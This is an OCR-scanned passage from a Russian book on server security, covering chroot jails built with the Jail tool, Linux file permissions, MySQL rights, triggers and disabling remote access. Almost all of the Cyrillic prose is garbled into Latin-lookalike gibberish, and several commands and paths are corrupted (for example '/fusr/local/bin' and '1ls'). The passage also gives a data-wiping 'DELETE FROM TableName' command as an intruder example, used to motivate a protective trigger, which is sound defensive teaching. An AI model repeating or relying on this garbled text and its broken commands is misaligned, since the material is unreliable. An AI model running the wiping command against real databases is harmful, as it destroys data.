W OH ByleT ABIsThCs KOpHEM JUtsl ciiyk0sl. B Hem Byayr cBou kataioru /bin, /usr
¥ T. 1., ¥ ciyxba Gyner paborark ¢ HuMHM, @ Bee, yro Beiie /home/chroot, oka-
xerca HegoctynHbiM. [Ipocto cnyx6a Gynet cuurarh, uro /home/chroot — 310 H
ecTb KopeHb (haitloBoil CHCTEMBI.
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Ha puc. 3.1 pamkoii o6BeneHs! nanku, Kotopeie 6yayr BuaHbl cayxbe. Mmenno
B 3TOM npoctpaHcTBe Oyner paborare ciyxba, W wis Hee 310 OynAer peajibHad
(aiiyoBas cucTeMa cepsepa.

Ecnu xakep NpoOHUKHET B CHCTEMY Yepes 3alllHIUeHHYI0 caykOy u 3axoyeT mpo-
CMOTpeTh Karajor /etc, To OH YBUIWUT Karanor /home/chroot/etc, Ho HHKaK He
cucteMHbiit  /etc. YToOBl B3TOMIUMK HHYEro He 3alofo3pui, B Kartaiore
/home/chroot/etc MOXHO PacnoNoXUTE Bee HeobxoauMble haitibl, HO 3aHecTH B
HHX HEKOPPEKTHYI0 HH(opMauuio. Banomunk, sanpocus ¢aitn /etc/passwd ue-
pe3 ysi3Bumyio cayx0y, moayuuT goctyn K /home/chroot/etc/passwd, noromy uro
cnyx6a CUHTAET ero CUCTEMHBIM.

Tak, Hanpumep, ¢aitn /home/chroot/etc/passwd MOXeT cozepxaTb HeBepHbie
napou. Ha pa6oty cucremsl B 1IEJIOM 3TO HE MOBIUSIET, MOTOMY YTO CHUCTEMA
Hyner 6Gpats maponu u3 daiina /etc/passwd, a ciyxkbe peaibHbIe MApoiN CHCTEMBI
He HYXHbI, nodromy B daitn /home/chroot/etc/passwd MoXHO 3anucatsh 4TO
YroiHo.

Berpoennast B cucremy Linux mporpamma chroot, CO3A@iONIas BUPTYATbHbIE
MPOCTPAHCTBA Ha ceppepe, He ouYeHb ynobHa. HyXHO BBIMONHWUTL CIAMIIKOM
MHoTO onepaumii. UMeHHO noartoMy agMHHHCTpaTophl Oojblue JHOGST Nporpam-
my Jail. Ee Bm Moxere wHailtu B  HMHTepHere no  ampecy
http://www.jmcresearch.com/

projects/jail/. Ckauvaiite apxuBHblil ¢aitn ¥ noMecTHTe ero B CBOM Kataior
(nmporpaMmy MOXHO HaiTH M Ha KOMNakT-gucke B Katanore software). s toro
yTOOB! pasapXWBUPOBATE 3TOT (ailsl, HY)KHO BBITIOJHUTE CJIEAYIOILYI0 KOMAHIY:
tar xzvf jail.tar.gz

Teneps B TeKylleM Karanore MOABUTCA MOAKATamor jail ¢ HMCXOMHBIM KOJOM
nporpaMMel. [da, umeHHo Tak. [lporpaMma OTKpeITA M MOCTaBIAETCA B MCXOI-
HBIX Kojax.

Teneps HyXHO mepeiTH B Katajor jail/src (cd jail/src) M OTPENAKTHPOBATH
(aitn Makefile (nanpumep, penakropom nporpammbl MC). B camom Hauane dait-
Jla MIeT MHOXECTBO KOMMEHTAPHEB, U uX Mbl onyctuM. [ocse aToro Bel cMoOXETe
VBUIETH CIEAYIOLIHEe MapaMeTphl:

ARCH=__LINUX_ _

#ARCH=__FREEBSD__

#ARCH=__TRIX

#ARCH=__SOLARIS

DEBUG = 0

INSTALL_DIR = /tmp/jail
PERL = /usr/bin/perl
ROOTUSER = root
ROOTGROUP = root
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Buauane 3apaetcsa tun OC. Mo ymonuanuio yxkaszaHa Linux, a cinenyiouiue Tpu
crpouku juis FreeBSD, Irix u Solaris 3akoMMeHTupoBansl. OcTaBMM Bee Kak
ecth. YTO HYXHO M3MEHMTb, TAK OTO Karajlor /i YCTAHOBKM (mapamerp
INSTALL_DIR). [lo ymon4aHuio B rnocieiHeil Bepcuu (Ha MOMEHT HamucaHUs
KHUIK) ucnonsayerca karanor /tmp/jail. He 3uaio, 3auem 3710 cienaHo, Befb Ka-
TAIOr MpeAHa3sHa4YeH Uil BpeMeHHBIX (paiiyioB, U OH JMOJKeH ObITh AOCTYIEH UIs
yreHusi aGcomoTHo BceM. PaHbllie kartajoroM no ymonuyaHuio 6sut /usr/local, u
MMEHHO ero sl COBETYIO 3[eCh YKA3aTh. Bonbille HUYEro MEHNTh HE HAMO.

Jlnsi BBIMOJHEHMS CAEAYIOLIMX KOMAaHA BaM MOHAN00ATCs MpaBa IMONb30BATENs
root, MO3TOMY BOMAMTE B CHCTEMY Kak anMMHHCTPATOp WIH [OJYYHTE HYXHble
NipaBa, BBINOIHWB KOMAHAY su root.

[Mepen komnuasiuuedt w ycraHopkoit yGemurech, uro y ¢aitna preinstall.sh ects
rnpasa Ha BelMoNHeHWe ¢aiinos. Ecniu nx Her, BBIMOJHUTE CIIEAYIOULYI0 KOMAHIY:
chmod 755 preinstall.sh

Bce roroso k yecranoske. Haxonsick B Karasore jail/src, BuIITOJHUTE KOMAHIIbL:

make
make install

Ecim Bce nmpouuio yeneuwiso, To B Karajiore /usr/local/bin HoMKHBI TOSBUTLCS
nporpammsl: addjailsw, addjailuser, jail u mkjailenv.

Ons nayama cosmanum katanor /home/chroot. OH cTaHeT KOpPHEBBIM IS MPO-
rpaMMBl, Ha KOTOpoW Mbl OyleM MCHBITBIBATE cHcteMy. List 3TOro BBUTOJIHHUM
KOMaHIy:

mkdir /home/chroot

Tenepp HY)XHO TIOAFOTOBUTH OKpPYXXEHWE [JIsi HOpMaibHON paborbl Oyayiieit
cmyx06sl. 1151 3TOTO BBIMOMHSAEM KOMAHIY:

/fusr/local/bin/mkjailenv /home/chroot

TMocmorpuTe, yTo npounsolno ¢ karajgorom /home/chroot. 3aeck nogBUAKCE aBa
Karajsiora dev u etc. Kak Mbl 3HaeM, B Karajore dev 1o/mkHbl GbiTh (aiiisl onuca-
HUsl ycTpoiicTB. B maHHoM ciyyae mporpamMma He cTaina [eraTh MOJHYI KOMUI0
cucTeMHOro Karainora /dev, a orpaHMuYMjiach CO3daHUEM TPEX OCHOBHBIX YCT-
posicts: null, urandom u zero.

B karamore etc MOXHO Takxe yBHIeTb TpH haiina: group, passwd u shadow. Bro
HEroJIHble KOMHWHW cucTeMHBIX daitoB. Hanpumep, ecniu B3msiHYTH Ha dpaiin
passwd, oH GyneT comepxarh TOMBKO CHEAYIOLIUe CTPOUKH:
root:x:0:0:Flenov,Admin: /root: /bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin: /sbin/nologin

nobody:x:99:99:Nobody: /: /sbin/nologin
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B yactHocTH, 3M€Ch HET MONb30BaTe/IeH, KOTOPbIE MOMIN ObITh CO3MAaHEl B OCHOB-
HoM pasaene OC Linux. B caiine shadow naxousitesi TeHessie naponau. [Mposeps-
Te npapa Ha 3TOT ¢ailil, 4robbl OHU HE 6bUIK WIHpe, YeM [W------- (1 600).

Tyr ecTb onuH HenocraTok B 6e3onacHocT — B aitne /home/chroot/etc/shadow
HAXOMMTCA pealbHbIl 3amugpoBaHHbBlid nmapont us ¢aitna /etc/shadow. Jlywiue
ynanute ero. Ecnu 370yMBILLIEHHMK Y3HAeT rapojib K ciayxbe, To OH CMOXer
IIPOHUKHYTb HA CEpPBEP Yepes APYrylo [Bepb, KOTOpas He 3allMlieHa BUPTYalb-
HBIM KaTajoroMm.

[IponomkaeM HACTPOMKY BUPTYAIBHOTO KOpHEBOTO Karaiora. Ternepb HaM HYXKHO
BBLIMOSHHUTD CIEAYIOUIYIO KOMAHILY:

/usr/local/bin/addjailsw /home/chroot

Bo BpeMsi BBINMONHEHUs ITOM KOMAH/IBI 110 3KpaHy MobekuT MHOXECTBO WHpOp-
MalLMOHHBLIX CTPOYEK O BBITIONHAEMBIX aelcTBuaX. JleHcTBUS 3aKi0yaloTes
B ToM, yTo B Karajor /home/chroot KonmupyloTcsi OCHOBHBIE KaTaloru M mnpo-
rpammel. Hanpumep, B Karanor /home/chroot/bin 6yiayT cKonMpoOBAHBI MPOrpaM-
MBI cat, cp, Is, rm u T. 4., 1 ciiyx6a ByleT UCMOTb30BATE UMEHHO 3TH Mporpam-
MBI, @ He Te, YTO pAcMoJIOKeHBl B OCHOBHOM Kartajiore /bin.

Komanzaa xonupyer To, YTO CYMTAET HYXKHBIM, HO JaleKo He BCE NporpaMmbl 10-
Tpebylotca Oynyuieit cnyxbe, Koropas Gyjuer paborarh B BUPTYAJILHOM KOPHEBOM
karanore. Ecnu kakas-nubo mporpaMMa He HyXKHA, TO €€ CeAyeT YIalWTh, HO
Jiydle jesarh 310 1Mocie Toro, Kak Bbl yoeauTech, 4To Bee paboraer.

OxpyxXeHue roToBo, U HeoOXOMMMBIE MPOrpaMMBbl NPUCYTCTBYIOT. Ternepb MOXHO
YCTAaHOBUTL CIYXKOY B 3T0 okpyKeHue. [Lisi 3Toro BuiiofHsgeM KOMaH1y:

/usr/local/bin/addjailsw /home/chroot -P httpd

B nanHoM npumepe B HOBOE OKpy)XKeHHe ycTaHaBiWBaercst nporpamma httpd
U Bce Heobxoaumble et Oubanoreku. INporpamma jail cama ornpenenur, uro Heob-
XOJUMO.

Tenepb B HOBOE OKpY:KEHUE MOXHO H00aBiATH MONb30BATENA. DTO BHIONHAETCS
KOMAaHIOI:

/usr/local/bin/addjailuser chroot home sh name

3/eck chroot — BUPTYaTbHLIN KOPHEBOW KaTajlor, B HALUEM CHYYde TAKOBLIM
ABJSIETCH /home/chroot. [lapaMerp home — 3TO HOMALIHHII KaTalor oab30BaTe-
JIsi OTHOCHTENIEHO BHPTyaibHOro karamora. [Mapamerp sh — KOMaHAHBLH WHTEP-
nperarop. [lapamerp name — MMSI TONB30BATE/Nsl, KOTOPOE MBI XOTHM A06aBUTH
(3TO MMS YK€ JO/KHO CYLIECTBOBATL B OCHOBHOM okpyxeHuun OC),

[TocMOTpUM, KaK MOXHO H0GABUTH MOJIb30BaTeNs robert (OH HOJKEH yXe cyllie-
CTBOBaTh B PEAbHOI CHCTEME) B BUPTYAIbHYIO CHCTEMY:

/usr/local/bin/addjailuser /home/chroot \
/home/robert /bin/bash robert
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V MeHsi koMaHga He yMECTWIAch B O[IHY CTPOKY, TIOTOMY S CHENan IepeHoc
€ MOMOILBIO CUMMBOJIA \. DTOT CUMBOJI YKa3blBAeT, YTO KOMAaHId HE 3aKOHYMJIACH
U TIPONOJIKAETCS B CIEAYIOIE CTPOKE.

Ecau nmapaMeTpbl yKasaHbl BepHO, TO Bbl JO/DKHbI yBHIeThb coobumenue Done,
nHaue OyaeT BbiBeaeHo cooblieHne ob ounbke.

st 3anycka cepsepa httpd (B Linux 3to cepsep Apache) B BUPTYaJIbLHOM OKpY-
KEHHM JIOJDKEH NPUCYTCTBOBATEL Mosb3oBareis apache. B peanbHOM oKpyXeHHH
OH ecTh, JlapaiiTe MOCMOTPUM Ha €ro napaMeTpsl U CO3MaANM TAKOTO e MOoJb30-
BaTeJsl B BUPTYAILHOM OKDYXKEHHH:

/usr/local/bin/addjailuser /home/chroot )\
/var/www /bin/false apache

Kak teneps nonacts B HoBoe okpyxkeHue? BoinonHuTte KoMaHy:
chroot /home/chroot

Bel okaxerech B HOBOM OKpy:KeHHH. TOIbKO yuTHTe, 4TO GONBLIMHCTBO KOMAHI
3fech He pabGoraer. Tak, HanpuMep, Mbl HE YCTAHOBWIM B BUPTYAIbHOE OKpYXe-
Hue nporpammy MC, noaromy Bbl He CMOXKETE €10 BOCITONb30BATLCS.

Yro6bl yOeauThCs, YTO BBl HAXOAWTECH B BUPTYAILHOM OKPYXKEHWH, BBITIOJIHHTE
KOMaHIy:

1ls -al /etc

Bbl yBuiMTe Bcero HeckosibKo (aitytos, H 2T0 JIMlb ManRas YacTbh TOro, YTO J10C-
TYITHO B peajibHOM Karanore /etc. Moxere npocmorpers (aiin /ete/passwd; B Hem
OyiyT TONBKO MOJL30BATENH BUPTYAIBHOIro OKpyxXeHus. Eciu 3noyMmsiULIEHHHK
B3JIOMAeT €ro, TO OH MOJYYUT TOJBKO 3TH JaHHbLIE U CMOXET YHHYTOXKHUTH TOJILKO
conepxumoe karanora /home/chroot. Best ocranshasi caivioas cucrema ocra-
HEeTCsl Le/Iol U HEBpeanMOoi.

Hns zanycka httpd HYXHO BBIMONHUTL B BHPTYAILHOM OKPYKEHUM KOMaHOy:
/usr/sbin/httpd. Takum ofpasoM, MOXHO NepesecTH B oKpyxeHmue chroot Bce
Heobxoanmeie Web-cepBepy nporpammel, B Tom ynene u MySQL.

Ecnu ucxomuth M3 mpasuia, Yto olMOKH ecTh B 1000 mporpaMMe, Bbl JO/KHbI
OBITH rOTOBLI K TOMY, YTO Bally CUCTEMY KOraa-HuOymb Baromaior. Jaxe eciu 210
[IPOM30IiIeT, XaKep He CMOXeT MOJYYMTh JOCTYN K Balleil peanbHoili daltnosoil
CUCTEME M HE HapyluuT paboTy cepBepa, HO OH CMOXeT HApYWUTL paboty Web.

3.2.Npaea poctyna

B nporpaMMHpoOBaHHH H aIMHHHUCTPUPOBAH KN Hef)ﬁXOﬂHMO BCEria oTTaJlKHBaTh-
csl OT MpaBiia — 3anpeuieHo Bee, uTo He paspeuieHo. Korna Bbl HactpauBpaete
KOMIBIOTEpP/CEpBep WM [MHLUeTe MMPOrpaMMmy, HeobXOAMMO CHAYaja 3anpeTHTh
abCoOMOTHO BCE M TOJBKO MOTOM BBIIABATH ONpeAeieHHble Npasa. DTo HOIKHO
Kacarscs BCEro, ¢ 4eM Bbl paﬁOTBCTC.
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3.2.1. NpaBa cueHapues B cucteme

CueHapuH TOKHBL BBIMTOMHATECA B CHCTEME ¢ MUHWMATLHBIMKM nipasamu. [pen-
MONOXMM, Ball CLEHapuil MOJKEH MMEThb MpaBo 0Gpalarsesi K CHCTEMHOMY Ka-
Tasory /etc. B aTom Karajore cepBep XpaHUT KOH(UrypaumoHHbie daitibl, U eciau
Mo/b30BaTelb CMOXET CKOMIPOMETHPOBATh CLEHApHil, TO BEIMKA BEPOATHOCTD,
4TO XaKep CMOXET MOJNYYHTb HA CEPBEpe MpPaBa AAMHHHCTPATOPA.

Cuenapuu BbinoHsiores Web-cepepoM (yalie BEEro Uisi 3THX LENell UCrosb-
3yior Apache), 1 HMEHHO ero rpaBaMy ONpelesSILOTCS MPaBa BHIMTOMHSAEMBIX Clie-
Hapues. Hanbonee addexTHBHEIM METOIOM 3ALINTHI ABISIETCA CO3NAHME HEempH-
BUJIETMPOBAHHOM YYETHON 3amucH (¢ MHHHMATbHO HEOOXOAMMBIMU MMpaBaMu), oT
MMEHH KOTOpoil ByaeT BBIMONHATLCA caM cepBep Apache ¥ Bce BbINONHAEMbIE UM
CLIEHAPUH. .-

I

Yro6sr mpouie GbUIO YIpaBisTh TpaBaMu, pacriofaraiite (aiiibl B OTAEIBHBIX
Karainorax nmo tunaM. Hanpumep, daitrbl ¢ Hactpoitkamu (inc, dat u 1. ) ayuiue
BCEro MOMECTHTh B OJMH Karajior, (aiisl wabnoHoB B Apyroii, a ¢aiiasl ¢ GyHK-
uuaMu Ha s3sike JavaScript B Tpetuit. MenonHsemsie daitisl cleHapues Takxe
He CTOMT pa3bpachiBaTh IO KATAMOTAM M PACTIONOXKUTE UX ClIEAYeT MAKCHMATIBHO
KOMITaKTHO. KoNMHyecTBo Karajoros He YCNOXHSET aHATH3 CepBepa, 3aTo YCIIoK-
HSIET yNpaBieHHe npasaMy AOCTyna.

IlpaBa Ha BbINOJHEHHE NOKHBI OBITH TONLKO Y TEX (ailoB, KOTOpEIM 3TO aefi-
cTBUTE/IbHO Heobxomumo. Harpumep, daiinsl ¢ komangamu JavaScript JO/KHEL
MMeTb MpaBa TOJBKO Ha 4TeHHWe, HO HUKAK He Ha BbinoaHeHHe. Takue daiiibl
BBITIOJTHAIOTCS. HA CTOPOHE KJIMEHTA, 4 CepBepy NOCTATOYHO MpaB HA YTEHUE, YTO-
OBl npocTo nepenarts daiin KIUeHTy.

3.2.2. paBa cepBepa 6a3 gaHHbIX

MHorue nporpaMMHCTBI W AAMUHUCTPATOPBI HE JNIOGAT BO3UTBCS C pacrpenesie-
HUEM MnpaB Ha cepBepe 0a3 JaHHBIX, HAAEsiCh, YTO MOAKIOYATLCH OYAYT TONLKO
JlerajibHele TOJIB30BaTeNIM, M OHM ByAyT akKyparHo paboTaTh ¢ CHCTEMOW. DTo
bonbuiag owmdka. IIpasa ceppepa 6a3pl JaHHBIX MOTYT 3aMTUTL BAC OT MHOXe-
CTBA MOTEHLHUANBHLIX NpobseM ¢ Ge30MnacHoCThIO,

IMepBbIM AejioM Bbl ZOJDKHBI 3ALLLMTUTh NOOKITIOUeHUs: K cepBepy. Eciu Gasza nad-
HbiX U Web-cepsep, obpabarsiBatoliiuil cueHapuu, GU3MHECKH PACIIONOXEHB! HA
OJIHOM KOMIBIOTEPE MM cepBepe, To HeoOXOOMMO 3aNpeTUTh JI06ble MOAKIIYe-
Hus K Gaze gaHHbiX u3sHe. [O/DKHEI OBITH pa3dpellieHbl TONBKO JOKANBHbIE MO~
KJTFOYEHHMSL.

Ecnn 6aza nannbix 1 Web-cepsep ¢dhuzuuecku pasnenensl, To HeobOXoaAUMO ¢ no-
MOIIBIO CETEBOro SKPAHA PA3pellMTh MOAKIIOHEHHS TONBKO ¢ KOMMBLIOTEPOB, Iie
yeranopneHsl Web-cepsepbl, 1 KOMMBIOTEPOB, rne paGoTaioT anMUHUCTPATOPLL.
Bce ocTaiibHbIE HE IOKHBI UMETD Mpasa MpsiMOro MOAKIIOYEHHUS .
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Yr1o6bl cueHapHii CMOT MOJYYHTh NAHHbLIE, OH MOAKIIOYAETCS K ONpefeseHHOM
6aze JaHHBIX K, B 3aBUCUMOCTH OT MpaB HOCTYMNA, BLUTONHSIET Kakue-1ubo aeicr-
Bus. MHoOrue anMHHHCTPATOPEl He 0COBEHHO I00AT YNpasiaTh MpaBaMu JocTymna
K obbekTaM 0asbl JAHHAIX, @ TIPOCTO AAIOT MOJIB3OBATENSM TOJHBIE MPHBUIETHH
Ha Bce 0OBekTel. DTO HeBepHO. C MOMOLUBIO CHCTEMbI NMpaB Bbl MOXeETe paspe-
IUMTh MM 3aMpeTUTh BLINOJHEHWE oONpele/eHHbIX KoMmana. Hanpumep, 6omb-
IIWHCTBO CUEHAPHEB [MPOCTO BLIOWpaeT AaHHble W3 Tabmul M orobpaxaer MX
rnoJb3oBareno. s 3Toro A0cTaToOYHO MMETH MpaBa TONLKO HA BBIDOPKY JAHHBIX
(onepaTtop SELECT), IIPM 3TOM T0Jb30Baresb He OymeT MMeTh BO3MOXHOCTH yaa-
JATE ¥ No6aBisiTh JaHHBIE.

Yauie Bcero omIaxKeHHbIE cUeHApUM paboTaloT A0Jiroe BpeMs 6e3 M3MEeHeHHH
CTPYKTYphl aaHHbiX. Mcxons u3 3toro, BrnoiHe AOTHYHBIM Obulo Gbl 3aNpeTHTH
Y4eTHOit 3armucH, Yepes KOTOPYIO CUEHApHil MOAKITIoYaeTcs K cepeepy, U3MEHATh
CTPYKTYpY 0a3bl HaHHBIX, T. €. A06aBNATE M YIAIATh TaKHWe oOBeKThi, KaK 6a3sl
JaHHBIX, TA6MUUbl U T. A. [na BHeceHMs MOLOOHBLIX HM3MEHEHHI Heobxoanmo
UMETb OTAENbHYI0 YHMETHYIO 3aMUCh WKW MCIIOJb30BATh YYETHYIO 3anuch aIMHHH-
CTpaTopa M BMELIMBATBECA B CTPYKTYpY 0asbl HanpsaMywo (¢ moMolIbIO YTUINT ali-
MUHUCTPHUPOBAHKS), @ HE YEPE3 CLUEHAPHH,

AIMHHHCTpPATOp caiTa AO/KEH MMETh JOCTATOYHO LWHPOKHE MOJIHOMOYMS, IO-
9TOMY B CUEHApUM AIMUHHUCTPUPOBAHMSI MOXHO JUIS TMOAKIIOYEHHS MCIIO/Ib30-
Barb Apyrue rnpasa, HalpuMep, Te€, KOTOPBIE BBOIMT MOJbL30BATENDb CLEHAPUS al-
MHHUCTPUPOBAHUSA MPH BXON€ B 3aKphITYyI0 YacTh caiTa WMAM 3allMLLIEHHBINA
Karajior. 310 ya00HO, KOra y Bac HECKOJIBKO AIMUHHCTPATOPOB ¢ pasHbIMH npa-
BaMU. B aTOM cilyyae npaBusIbHBIH 10OCTYN rapaHTHPYETCsl He TOJIBKO MPOBEPKa-
MW B CLEHApWM, HO M caMHUM cepBepoM 0asel gaHHbIX. Ecniu kakoii-nubo agMu-
HUCTpaTop cyMeeT OOOMTH 3alIMTY CLEHAPHA W TOMBITAETCH BBIMTOIHHUTD
3anpelleHHyI0 onepauunio (Hanpumep, ylaleHue JaHHBIX), TO CEpBEpP HE CMOXET
BBIMOJHUThL 3TO JIEHCTBHE.

CospemeHHble ceppepbl 6a3 aaHHbIX, Takue kak MS SQL Server, Oracle u np.,
yMeioT paborars ¢ TpUrrepaMu. DTo MporpaMMbl Ha ONpeie/ieHHOM f3biKe (dalle
Bcero, Ha SQL unu oAHOM M3 €ro pacliMpeHuit), KOTOPBIE BHINOJHAIOTCH Ha cep-
Bepe B OTBeT Ha onpeienceHHele cobriTsa. Hanpumep, MOXHO HAa3HAYHTH TPULTEP
Ha yaajneHue, KOTopbli OyaeT ZONOTHUTEIBHO MPOBEPATh BO3MOXHOCTE YAATSHUS
sanuceit. JJonycTM, B3TOMILKMK, KOTOPBIN 3aXO4YeT YAAIMTEL BCE JIAHHBLIE C CepBe-
pa, OyaeT BBIMNOAHATD KOMAHAY:

DELETE FROM TableName

TpHFFep MOXET, HAlpUMEP, NPOBEPHUTH, NMPEBLILUAET AW KOMHYECTBO YHNAJSEMBIX
sanuceit 10, ¥ OTKIIOHUTb MOMBITKY YAAIEHMWS, BbIAATH OLIMOKY WM maxe oTnpa-
BUTE cooblienne anMuHucTparopy. Takum obpaszoM, AaHHbIE OCTAHYTCH B LENO-
CTH W COXPaHHOCTH, M TIPH 3TOM AAMWHWCTPATOP CBOEBPEMEHHO Yy3HAET O BTOP-
xeHuu. KoHeuHo ke, 3Ty 3alluTy Jierko oOoiTH, eciu yaansiTh JAaHHbIE IO
qactaM, HO 3TO OTHUMET MHOI'o BpeMEHH, H HE KaXblil B3TOMIIMK peuIMTca Ha
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nono6Hyio araky. K tomy xe, ounctHTh 6a3y JaHHBIX MOUCKOBOH CHCTEMbI TAKHM
0o0pa3oM MpakTUYeCKH HEBOIMOXKHO, MOTOMY YTO MOHAROBATCS rOMdbI.

Bonee cAoXKHBIH METO/ 3alMTH TpeOYeT OTAMYHOro 3HaHMs 6a3bl AaHHBIX U e
paborel. Hanpumep, Bbl TOYHO 3HAETE, YTO YNAJeHHE CTPOK MPOHCXOUHT OYEHS
penko. B aToM cnyyae MOXHO ¢ MOMOILLIO TPUITEPA 3alpeTHTh yaaneHue bosee
10 cTpoK B lIeHE.

Ilpasa moctyna ceppepa 6asbl HaHHBIX W TPHUITEPHI — OYEHBH MOILUHBIE MHCTPY-
MEHTBbI JOMOTHUTENBHOTO ODECneYeHns LeJOCTHOCTH NaHHbIX cepBepa. Heobxo-
JMMO 3aMpeTuTh BCe, a pa3pelliuTh TONbKo camoe Heobxoaumoe. Yem OGonbiie
CPE/ICTB 3allMTHI BRI OyaeTe MCronb30BaTh, TeM ClOXHee DydeT Xakepy npoburnca
CKBO3b 3TY 3alIUTY ¥ NoaobpaTh KII0YN K Balleil Kpernocry.

BonbliMHCTBO cEepBEPOB MO3BOJAIOT WCNOIL30BATE CHCTEMY, BBIMOJIHATH B Hell
KOMaHbl WK yurath daitnel. B MySQL ecth koMaHaa LOAD DATA LOCAL file,
PekoMeHIyl0 3anpeTUTh €€ BbITOJHEHHE W He MCNOJIL30BaTh B CBOMX CLEHAPHAX.
Hnst aroro B daiiie fetc/my.cnf HanuuiMre B pasgene [mysgld] cAeaylouyvio
CTPOYKY:

Set-variable=local-infile=0

3.2.3. [paBa Ha ypaneHHoe nogknioyeHue

Mbl yxe 3HaeM, 4TO MONb30BATENM HE NOJDKHBI MMETh MpaBa MpsSMOro MOAKIIO-
yeHusi K MySQL-cepsepy. UM 310 npocto He HyxHo. Briabisas PHP-cuenapnii,
umeHHo Web-cepBep, a He NoJjb3oBaresib, MOAKIIONAETC K cepBepy 0asbl AaH-
HbelX. Ecniu Web-cepBep u 6asa naHHbIX HAXomsiTca HA OgHOM (HU3UYECKOM cep-
Bepe, To JioOble yaaneHHble obpalieHns K 6aze MOXHO OTKIIOYUTE.

Yrobbl 3anpeTtuTs ymateHHoe noaxiioveHue Kk MySQL, weobxomumo B daitie
Jetc/my.cnf B pasgene [mysqgld] [ponucarb mnapamerp skip-networking.
Ho aaMuuMcTpaTopbl 04eHb YACTO AOJUKHLI MMETH YAAIEHHBIH JAOCTYN K CepBepy.
B sTOM cnyvae MOXHO NOCTYMHTH OTHUM U3 CNEAYIOWUX crocoboB:

0 paspelwinTh ymaneHHOE MOAKIIOYEHHE, HO MPH 3TOM 3AIHTHTB €ro ¢ MoMo-
mbio ceregoro SkpaHa. Ceppep MySQL npuHuMaer coeauneHue Ha
nmopt 3306. Heobxonumo yCTAHOBMTH 3alpeT Ha JAOCTYN K 3TOMY MOPTY A
BCEX M IBHO paspelInTb JAOCTYI TONBKO ¢ onpeneneHHbIXx IP-anpecos, rae pa-
BoTaloT aTMUHUCTPATOP.I;

O Mcnoib30BaTh TYHHeNUWpoBaHHe, DTo naxe OGosee MpeANOUTHTENbHBIH Bapu-
aHT, MOTOMY YTO MEXJy CepBepoM M KJIMEHTOM NaHHbie OyIyT nepemaBaThes
B 3a11U(PpOBAHHOM BUIIE.

MoxHo uenons3osarts 0ba papuanTa. s aIMUHUCTPATOPOB, KOTOPbIE HAXOMINAT-
csi BHYTPHM OJHON CETH C CEPBEPOM, MOXHO MCMONb30BATH OTKPHITOE COeIMHEHHE
¥ OrpaHUyYMBATH TIPABA IOCTYNA Yepes cereBoil akpaH. [Lisi yianeHHsIX MoJb30Ba-
Teseil, KoTopble ToAKIOYaoTes yepe3 MHTepHeT Mo OTKPLITEIM KaHAIAM, MOXHO
MCIIONB30BATh TYHHEb.
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3.2.4. MNpasa chaitnos cueHapues

Y cueHapueB He HNOKHO OBITH HUKAKMX NpaB, W Baalejibliamu Beex (paition
JMOMKHE! OBITH TONBKO HEMPUBHUJIEIHPOBAHHLIE NMOJL30BATEIHN.

Kaxnbiit daitn Ha cepsepe umeer onpeneieHnbie rmpasa. [Mojmruka npas pocrymna
K (aiinam 3aBucut ot KonkperHoit OC. Yame scero PHP ucnonb3yercst B csiske
¢ Unix-nogo6HeiMi cHCTEMAMK, MO3TOMY PACCMOTPUM MOJMTUKY MpPaB HA IPH-
mepe OC Linux, xotopas B NocieaHee BpeMs cTaHOBUTCH Hanbonee MonyasipHbIM
PELLIEHHMEM.

[Mpaga 8 OC Linux onpejensioTest HA OCHOBE TPexX COCTABIAIONIHX:

0 npasa BAAAeALHA — MO YMONYAHWIO, KTO co3jgaet (haiii, TOT U SIBIAETCs ero
BAANE/BLIEM;

0 npasa Tpynmel — 3a ¢aiinioM moxer ObiTh 3aKperyieHa HekoTopasi rpyia
NoJb30BaTeNei, W BCe MOJL30BATEN BTON TPYIMIbI MOTYT MMETh OMpeaeseH-
HbI€ Tpasa;

a [MpaBa BCEX OCTAJIBHBIX — BCE OCTA/IbHBLIC IMOJIL30OBATENIM CHCTEMBI.

g Kax/1oW cocTaBisionieil MOXHO HA3HAYUTH Mpasa JocTyna — YieHHe, 3anuch
W BbifoiHeHWe. ADCOMOTHBEIMHK [pagaMi Ha aiin cueHapus nokeH obnanark
TONLKO Bianesell. Bee ocraibHbie MOKHBL MMETh TONBKO MPABO BLINOIHATL (aii.
[MpenocraBasath UM NpaBa YTEHWS U 3aMHCH HACTONTENBHO HE PeKOMEHILyeTcs.

Ecin xakep cMoXeT 3amucats uto-inbo B Gaiin cueHapus, To OH CMOXET ero
3AMEHUTL CBOEI MpOorpaMmMoil, Kotopas OyIerT BbINOJIHATL HEODXOAMMbIE B3JIOM-
uuky neicrsus. Hampumep, Ha cepsepe Moxer ObITh YCTAHOBIIEH CUEHAPHIA, KO-
TOpbIii OyAeT BBINONHATL Kakue-11ubo NeicTBUA: KOMUPOBATHL (haiibl WIK YUTAThH
KoHdurypauuontsie daitabl cepsepa. Ecin npasa Web-cepsepa jjoctatrodsbl A1s
YTeHMsl CHCTEMHOTO Karajora /etc, TO Xakep MOXET yBUIEeThb KOH(Hrypauuio,
CTIUCKH TIO/IL30BATENEH M, BEPOATHO, [AaXe naposin JocTyna K cepsepy.

BoaMoxHOCTh YTeHMS haiiia MO3BOJMT YBUIETh WMCXOAHBIH KOJA MporpamMmal.
BanoMitnK cMOXET NpoaHalM3HpoBaTh KO U HAWTH ero ciabbie MecTa M MoTeH-
HUHAJIBHBIE YIA3BHMOCTH. Hckars oumﬁxy HaAaMHOro mnpoiie, Korjga JIOCTYMNMEH
HCXOMHBIH Koi mporpammbl. MHoraa aaxe ymaercsi yBHMAETH CTPYKTYpY caifta.
Hanpumep, PHP-cuienapuii moxer nomkmouats KoH(MUTypauHoHHB daitn
¢ Hactpoiikamu. Ecnu arot caiin Gyner AOCTyneH [UTs YTEHUS BCEM Mojb3oBaTe-
JIsIM, TO XaKep CMOXET ero Mnpo4yvTarb U YBMIAETH MHOrO JHUIIHEro, HanpHuMep,
naponyu mocTyna K 6a3ze MaHHBIX, €CIU OHW XpaHsATCH B 3TOM aiine.

3.2.5. CnoxHble naponm

I'naBHOE MPaBIIO ATMHHHCTPATOPA — CJIOXKHBIE Mapoiu HUKTO He orMmeHsul. OHu
JIOJKHBl MCTONB30BaThCA Be3ne, ocobeHHo npu nocrynme K OC u cepsepy 6Gazbl
nanubix. Eciu xakep He cMOXeT GbICTPO MPOHMKHYTH HAa CEpBEp Yepes cueHa-
pHH, OH TIONBITAETCS B3IOMATh cepBep MpocThiM mepebopom mnaponeir. Ecnu

5 Jax. 1315
